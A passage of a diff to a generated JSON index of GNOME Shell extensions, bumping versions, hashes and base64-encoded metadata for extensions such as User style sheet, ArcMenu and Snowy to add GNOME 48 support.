     "43": {"version": "7", "sha256": "1hqaab95wsc284d78pw56zhk72qjnqpn0adr04icybv4pk11dnjk", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxvYWQgY3VzdG9tIHN0eWxlIHNoZWV0IGZyb20gfi8uY29uZmlnL2dub21lLXNoZWxsL2dub21lLXNoZWxsLmNzcy4gVXNlIEdUSyBmb250IGZhbWlseSBhbmQgZm9udCBzaXplIGZyb20gR05PTUUgVHdlYWtzIGluIEdOT01FIFNoZWxsLiIsCiAgIm5hbWUiOiAiVXNlciBzdHlsZSBzaGVldCAmIGZvbnQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjMuMjgiLAogICAgIjMuMzQiLAogICAgIjMuMzYiLAogICAgIjMuMzgiLAogICAgIjQwIiwKICAgICI0MSIsCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1RvbWFzekdhc2lvci9nbm9tZS1zaGVsbC11c2VyLXN0eWxlc2hlZXQtYW5kLWZvbnQiLAogICJ1dWlkIjogInVzZXItc3R5bGVzaGVldEB0b21hc3pnYXNpb3IucGwiLAogICJ2ZXJzaW9uIjogNwp9"},
     "44": {"version": "7", "sha256": "1hqaab95wsc284d78pw56zhk72qjnqpn0adr04icybv4pk11dnjk", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxvYWQgY3VzdG9tIHN0eWxlIHNoZWV0IGZyb20gfi8uY29uZmlnL2dub21lLXNoZWxsL2dub21lLXNoZWxsLmNzcy4gVXNlIEdUSyBmb250IGZhbWlseSBhbmQgZm9udCBzaXplIGZyb20gR05PTUUgVHdlYWtzIGluIEdOT01FIFNoZWxsLiIsCiAgIm5hbWUiOiAiVXNlciBzdHlsZSBzaGVldCAmIGZvbnQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjMuMjgiLAogICAgIjMuMzQiLAogICAgIjMuMzYiLAogICAgIjMuMzgiLAogICAgIjQwIiwKICAgICI0MSIsCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1RvbWFzekdhc2lvci9nbm9tZS1zaGVsbC11c2VyLXN0eWxlc2hlZXQtYW5kLWZvbnQiLAogICJ1dWlkIjogInVzZXItc3R5bGVzaGVldEB0b21hc3pnYXNpb3IucGwiLAogICJ2ZXJzaW9uIjogNwp9"},
     "45": {"version": "8", "sha256": "1h98d46qvj5cncb6l7xfi67iaqs8vw9nfi3ix0iajdjs7fr95x5y", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxvYWQgY3VzdG9tIHN0eWxlIHNoZWV0IGZyb20gfi8uY29uZmlnL2dub21lLXNoZWxsL2dub21lLXNoZWxsLmNzcy4gVXNlIEdUSyBmb250IGZhbWlseSBhbmQgZm9udCBzaXplIGZyb20gR05PTUUgVHdlYWtzIGluIEdOT01FIFNoZWxsLiIsCiAgIm5hbWUiOiAiVXNlciBzdHlsZSBzaGVldCAmIGZvbnQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vVG9tYXN6R2FzaW9yL2dub21lLXNoZWxsLXVzZXItc3R5bGVzaGVldC1hbmQtZm9udCIsCiAgInV1aWQiOiAidXNlci1zdHlsZXNoZWV0QHRvbWFzemdhc2lvci5wbCIsCiAgInZlcnNpb24iOiA4Cn0="},
-    "46": {"version": "11", "sha256": "0llyhpwkfkz3yqmxhprffbmcsj7gc9m54jcyylxw6nvp6kri2imz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxvYWQgY3VzdG9tIHN0eWxlIHNoZWV0IGZyb20gfi8uY29uZmlnL2dub21lLXNoZWxsL2dub21lLXNoZWxsLmNzcy4iLAogICJuYW1lIjogIlVzZXIgc3R5bGUgc2hlZXQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1RvbWFzekdhc2lvci9nbm9tZS1zaGVsbC11c2VyLXN0eWxlc2hlZXQiLAogICJ1dWlkIjogInVzZXItc3R5bGVzaGVldEB0b21hc3pnYXNpb3IucGwiLAogICJ2ZXJzaW9uIjogMTEKfQ=="},
-    "47": {"version": "11", "sha256": "0llyhpwkfkz3yqmxhprffbmcsj7gc9m54jcyylxw6nvp6kri2imz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxvYWQgY3VzdG9tIHN0eWxlIHNoZWV0IGZyb20gfi8uY29uZmlnL2dub21lLXNoZWxsL2dub21lLXNoZWxsLmNzcy4iLAogICJuYW1lIjogIlVzZXIgc3R5bGUgc2hlZXQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1RvbWFzekdhc2lvci9nbm9tZS1zaGVsbC11c2VyLXN0eWxlc2hlZXQiLAogICJ1dWlkIjogInVzZXItc3R5bGVzaGVldEB0b21hc3pnYXNpb3IucGwiLAogICJ2ZXJzaW9uIjogMTEKfQ=="}
+    "46": {"version": "12", "sha256": "0j2glx22m143v0pd746p9w0zv80jifvi9z0k30i7zkhybm4isprx", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxvYWQgY3VzdG9tIHN0eWxlIHNoZWV0IGZyb20gfi8uY29uZmlnL2dub21lLXNoZWxsL2dub21lLXNoZWxsLmNzcy4iLAogICJuYW1lIjogIlVzZXIgc3R5bGUgc2hlZXQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9Ub21hc3pHYXNpb3IvZ25vbWUtc2hlbGwtdXNlci1zdHlsZXNoZWV0IiwKICAidXVpZCI6ICJ1c2VyLXN0eWxlc2hlZXRAdG9tYXN6Z2FzaW9yLnBsIiwKICAidmVyc2lvbiI6IDEyCn0="},
+    "47": {"version": "12", "sha256": "0j2glx22m143v0pd746p9w0zv80jifvi9z0k30i7zkhybm4isprx", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxvYWQgY3VzdG9tIHN0eWxlIHNoZWV0IGZyb20gfi8uY29uZmlnL2dub21lLXNoZWxsL2dub21lLXNoZWxsLmNzcy4iLAogICJuYW1lIjogIlVzZXIgc3R5bGUgc2hlZXQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9Ub21hc3pHYXNpb3IvZ25vbWUtc2hlbGwtdXNlci1zdHlsZXNoZWV0IiwKICAidXVpZCI6ICJ1c2VyLXN0eWxlc2hlZXRAdG9tYXN6Z2FzaW9yLnBsIiwKICAidmVyc2lvbiI6IDEyCn0="},
+    "48": {"version": "12", "sha256": "0j2glx22m143v0pd746p9w0zv80jifvi9z0k30i7zkhybm4isprx", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxvYWQgY3VzdG9tIHN0eWxlIHNoZWV0IGZyb20gfi8uY29uZmlnL2dub21lLXNoZWxsL2dub21lLXNoZWxsLmNzcy4iLAogICJuYW1lIjogIlVzZXIgc3R5bGUgc2hlZXQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9Ub21hc3pHYXNpb3IvZ25vbWUtc2hlbGwtdXNlci1zdHlsZXNoZWV0IiwKICAidXVpZCI6ICJ1c2VyLXN0eWxlc2hlZXRAdG9tYXN6Z2FzaW9yLnBsIiwKICAidmVyc2lvbiI6IDEyCn0="}
   }}
 , {"uuid": "wg-indicator@dpf12110.gmail.com", "name": "WG Indicator", "pname": "wg-indicator", "description": "A status indicator for Wireguard connections.", "link": "https://extensions.gnome.org/extension/3418/wg-indicator/", "shell_version_map": {
     "40": {"version": "15", "sha256": "1zzr04l03aka1rk2rhqvj102dan80zdywgizxfygffvy4fjh99n0", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc3RhdHVzIGluZGljYXRvciBmb3IgV2lyZWd1YXJkIGNvbm5lY3Rpb25zLiIsCiAgIm5hbWUiOiAiV0cgSW5kaWNhdG9yIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vc3luYzEyMTEvd2ctaW5kaWNhdG9yIiwKICAidXVpZCI6ICJ3Zy1pbmRpY2F0b3JAZHBmMTIxMTAuZ21haWwuY29tIiwKICAidmVyc2lvbiI6IDE1Cn0="},
@@ -3060,10 +3065,10 @@
     "42": {"version": "48", "sha256": "0y7pbng3jvvpwnjbajh4qs5n9rlb42w5q4cm2is7s9znwc4n73zj", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFwcGxpY2F0aW9uIE1lbnUgRXh0ZW5zaW9uIGZvciBHTk9NRSIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJwYXlwYWwiOiAiYXphZWNoIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImFyY21lbnUiLAogICJuYW1lIjogIkFyY01lbnUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuYXJjbWVudSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuY29tL2FyY21lbnUvQXJjTWVudSIsCiAgInV1aWQiOiAiYXJjbWVudUBhcmNtZW51LmNvbSIsCiAgInZlcnNpb24iOiA0OAp9"},
     "43": {"version": "48", "sha256": "0y7pbng3jvvpwnjbajh4qs5n9rlb42w5q4cm2is7s9znwc4n73zj", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFwcGxpY2F0aW9uIE1lbnUgRXh0ZW5zaW9uIGZvciBHTk9NRSIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJwYXlwYWwiOiAiYXphZWNoIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImFyY21lbnUiLAogICJuYW1lIjogIkFyY01lbnUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuYXJjbWVudSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuY29tL2FyY21lbnUvQXJjTWVudSIsCiAgInV1aWQiOiAiYXJjbWVudUBhcmNtZW51LmNvbSIsCiAgInZlcnNpb24iOiA0OAp9"},
     "44": {"version": "48", "sha256": "0y7pbng3jvvpwnjbajh4qs5n9rlb42w5q4cm2is7s9znwc4n73zj", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFwcGxpY2F0aW9uIE1lbnUgRXh0ZW5zaW9uIGZvciBHTk9NRSIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJwYXlwYWwiOiAiYXphZWNoIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImFyY21lbnUiLAogICJuYW1lIjogIkFyY01lbnUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuYXJjbWVudSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuY29tL2FyY21lbnUvQXJjTWVudSIsCiAgInV1aWQiOiAiYXJjbWVudUBhcmNtZW51LmNvbSIsCiAgInZlcnNpb24iOiA0OAp9"},
-    "45": {"version": "65", "sha256": "1sbvb0szxzr60gi8gqvf1xarhwz1s6jxybgbvpia5fgwgb8wqswb", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFwcGxpY2F0aW9uIE1lbnUgRXh0ZW5zaW9uIGZvciBHTk9NRSIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJidXltZWFjb2ZmZWUiOiAiYXphZWNoIiwKICAgICJwYXlwYWwiOiAiYXphZWNoIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImFyY21lbnUiLAogICJuYW1lIjogIkFyY01lbnUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuYXJjbWVudSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9hcmNtZW51L0FyY01lbnUiLAogICJ1dWlkIjogImFyY21lbnVAYXJjbWVudS5jb20iLAogICJ2ZXJzaW9uIjogNjUsCiAgInZlcnNpb24tbmFtZSI6ICI2NSIKfQ=="},
-    "46": {"version": "65", "sha256": "1sbvb0szxzr60gi8gqvf1xarhwz1s6jxybgbvpia5fgwgb8wqswb", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFwcGxpY2F0aW9uIE1lbnUgRXh0ZW5zaW9uIGZvciBHTk9NRSIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJidXltZWFjb2ZmZWUiOiAiYXphZWNoIiwKICAgICJwYXlwYWwiOiAiYXphZWNoIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImFyY21lbnUiLAogICJuYW1lIjogIkFyY01lbnUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuYXJjbWVudSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9hcmNtZW51L0FyY01lbnUiLAogICJ1dWlkIjogImFyY21lbnVAYXJjbWVudS5jb20iLAogICJ2ZXJzaW9uIjogNjUsCiAgInZlcnNpb24tbmFtZSI6ICI2NSIKfQ=="},
-    "47": {"version": "65", "sha256": "1sbvb0szxzr60gi8gqvf1xarhwz1s6jxybgbvpia5fgwgb8wqswb", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFwcGxpY2F0aW9uIE1lbnUgRXh0ZW5zaW9uIGZvciBHTk9NRSIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJidXltZWFjb2ZmZWUiOiAiYXphZWNoIiwKICAgICJwYXlwYWwiOiAiYXphZWNoIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImFyY21lbnUiLAogICJuYW1lIjogIkFyY01lbnUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuYXJjbWVudSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9hcmNtZW51L0FyY01lbnUiLAogICJ1dWlkIjogImFyY21lbnVAYXJjbWVudS5jb20iLAogICJ2ZXJzaW9uIjogNjUsCiAgInZlcnNpb24tbmFtZSI6ICI2NSIKfQ=="},
-    "48": {"version": "65", "sha256": "1sbvb0szxzr60gi8gqvf1xarhwz1s6jxybgbvpia5fgwgb8wqswb", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFwcGxpY2F0aW9uIE1lbnUgRXh0ZW5zaW9uIGZvciBHTk9NRSIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJidXltZWFjb2ZmZWUiOiAiYXphZWNoIiwKICAgICJwYXlwYWwiOiAiYXphZWNoIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImFyY21lbnUiLAogICJuYW1lIjogIkFyY01lbnUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuYXJjbWVudSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9hcmNtZW51L0FyY01lbnUiLAogICJ1dWlkIjogImFyY21lbnVAYXJjbWVudS5jb20iLAogICJ2ZXJzaW9uIjogNjUsCiAgInZlcnNpb24tbmFtZSI6ICI2NSIKfQ=="}
+    "45": {"version": "66", "sha256": "0b631ka4i6mnnkydkwsnhgr3d27fpw77b2pwpwha9nnql5zb28jp", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFwcGxpY2F0aW9uIE1lbnUgRXh0ZW5zaW9uIGZvciBHTk9NRSIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJidXltZWFjb2ZmZWUiOiAiYXphZWNoIiwKICAgICJwYXlwYWwiOiAiYXphZWNoIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImFyY21lbnUiLAogICJuYW1lIjogIkFyY01lbnUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuYXJjbWVudSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9hcmNtZW51L0FyY01lbnUiLAogICJ1dWlkIjogImFyY21lbnVAYXJjbWVudS5jb20iLAogICJ2ZXJzaW9uIjogNjYsCiAgInZlcnNpb24tbmFtZSI6ICI2NiIKfQ=="},
+    "46": {"version": "66", "sha256": "0b631ka4i6mnnkydkwsnhgr3d27fpw77b2pwpwha9nnql5zb28jp", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFwcGxpY2F0aW9uIE1lbnUgRXh0ZW5zaW9uIGZvciBHTk9NRSIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJidXltZWFjb2ZmZWUiOiAiYXphZWNoIiwKICAgICJwYXlwYWwiOiAiYXphZWNoIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImFyY21lbnUiLAogICJuYW1lIjogIkFyY01lbnUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuYXJjbWVudSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9hcmNtZW51L0FyY01lbnUiLAogICJ1dWlkIjogImFyY21lbnVAYXJjbWVudS5jb20iLAogICJ2ZXJzaW9uIjogNjYsCiAgInZlcnNpb24tbmFtZSI6ICI2NiIKfQ=="},
+    "47": {"version": "66", "sha256": "0b631ka4i6mnnkydkwsnhgr3d27fpw77b2pwpwha9nnql5zb28jp", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFwcGxpY2F0aW9uIE1lbnUgRXh0ZW5zaW9uIGZvciBHTk9NRSIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJidXltZWFjb2ZmZWUiOiAiYXphZWNoIiwKICAgICJwYXlwYWwiOiAiYXphZWNoIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImFyY21lbnUiLAogICJuYW1lIjogIkFyY01lbnUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuYXJjbWVudSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9hcmNtZW51L0FyY01lbnUiLAogICJ1dWlkIjogImFyY21lbnVAYXJjbWVudS5jb20iLAogICJ2ZXJzaW9uIjogNjYsCiAgInZlcnNpb24tbmFtZSI6ICI2NiIKfQ=="},
+    "48": {"version": "66", "sha256": "0b631ka4i6mnnkydkwsnhgr3d27fpw77b2pwpwha9nnql5zb28jp", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFwcGxpY2F0aW9uIE1lbnUgRXh0ZW5zaW9uIGZvciBHTk9NRSIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJidXltZWFjb2ZmZWUiOiAiYXphZWNoIiwKICAgICJwYXlwYWwiOiAiYXphZWNoIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImFyY21lbnUiLAogICJuYW1lIjogIkFyY01lbnUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuYXJjbWVudSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmNvbS9hcmNtZW51L0FyY01lbnUiLAogICJ1dWlkIjogImFyY21lbnVAYXJjbWVudS5jb20iLAogICJ2ZXJzaW9uIjogNjYsCiAgInZlcnNpb24tbmFtZSI6ICI2NiIKfQ=="}
   }}
 , {"uuid": "fixedimelist@alynx.one", "name": "Fixed IME List", "pname": "fixed-ime-list", "description": "Prevent MRU re-sorting of IME list on switching input method so it will always be the same sequence as you set in Settings.", "link": "https://extensions.gnome.org/extension/3663/fixed-ime-list/", "shell_version_map": {
     "38": {"version": "7", "sha256": "18z9h0fcq6w3kmcc5v8swjn18nc9hkck54jfzyv2697py6cd83kf", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1ha2UgdGhlIElNRSBsaXN0IGluIGZpeGVkIHNlcXVlbmNlIGluc3RlYWQgb2YgTVJVLiIsCiAgIm5hbWUiOiAiRml4ZWQgSU1FIExpc3QiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjMuMzYiLAogICAgIjMuMzgiLAogICAgIjQwIiwKICAgICI0MSIsCiAgICAiNDIiLAogICAgIjQzIgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vQWx5bnhaaG91L2dub21lLXNoZWxsLWV4dGVuc2lvbi1maXhlZC1pbWUtbGlzdC8iLAogICJ1dWlkIjogImZpeGVkaW1lbGlzdEBhbHlueC5vbmUiLAogICJ2ZXJzaW9uIjogNwp9"},
@@ -3312,14 +3317,15 @@
 , {"uuid": "onedrive@diegobazzanella.com", "name": "One Drive", "pname": "one-drive", "description": "One Drive extension", "link": "https://extensions.gnome.org/extension/3919/one-drive/", "shell_version_map": {
     "38": {"version": "4", "sha256": "0h37rr9hw6azrlf465ngl7w7miii9bm4sh33wkr0x8q51rz62ydd", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk9uZSBEcml2ZSBleHRlbnNpb24iLAogICJuYW1lIjogIk9uZSBEcml2ZSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiMy4zOCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2RiYXp6YS9vbmVEcml2ZSIsCiAgInV1aWQiOiAib25lZHJpdmVAZGllZ29iYXp6YW5lbGxhLmNvbSIsCiAgInZlcnNpb24iOiA0Cn0="}
   }}
-, {"uuid": "snowy@exposedcat", "name": "Snowy", "pname": "snowy", "description": "Let it snow!\n\n- GNOME 47 support\n- Multiple monitors support\n- GUI preferences\n- Animation configuration\n- Fully customizable appearance", "link": "https://extensions.gnome.org/extension/3921/snowy/", "shell_version_map": {
+, {"uuid": "snowy@exposedcat", "name": "Snowy", "pname": "snowy", "description": "Let it snow!\n\n- GNOME 48 support\n- Multiple monitors support\n- GUI preferences\n- Animation configuration\n- Fully customizable appearance", "link": "https://extensions.gnome.org/extension/3921/snowy/", "shell_version_map": {
     "40": {"version": "16", "sha256": "1yf27cddw4pdqrdynxyvbmrnvnljkl6wjf9zasnqva3dl726i96c", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1ha2UgeW91IGZlc3RpdmUgbW9vZCB3aXRoIGZhbGxpbmcgc25vdyBvbiB5b3VyIEdOT01FIERFIHN5c3RlbSIsCiAgIm5hbWUiOiAiU25vd3kiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQwIiwKICAgICI0MSIsCiAgICAiNDIiLAogICAgIjQzIgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRXhwb3NlZENhdC9zbm93eSIsCiAgInV1aWQiOiAic25vd3lAZXhwb3NlZGNhdCIsCiAgInZlcnNpb24iOiAxNgp9"},
     "41": {"version": "16", "sha256": "1yf27cddw4pdqrdynxyvbmrnvnljkl6wjf9zasnqva3dl726i96c", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1ha2UgeW91IGZlc3RpdmUgbW9vZCB3aXRoIGZhbGxpbmcgc25vdyBvbiB5b3VyIEdOT01FIERFIHN5c3RlbSIsCiAgIm5hbWUiOiAiU25vd3kiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQwIiwKICAgICI0MSIsCiAgICAiNDIiLAogICAgIjQzIgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRXhwb3NlZENhdC9zbm93eSIsCiAgInV1aWQiOiAic25vd3lAZXhwb3NlZGNhdCIsCiAgInZlcnNpb24iOiAxNgp9"},
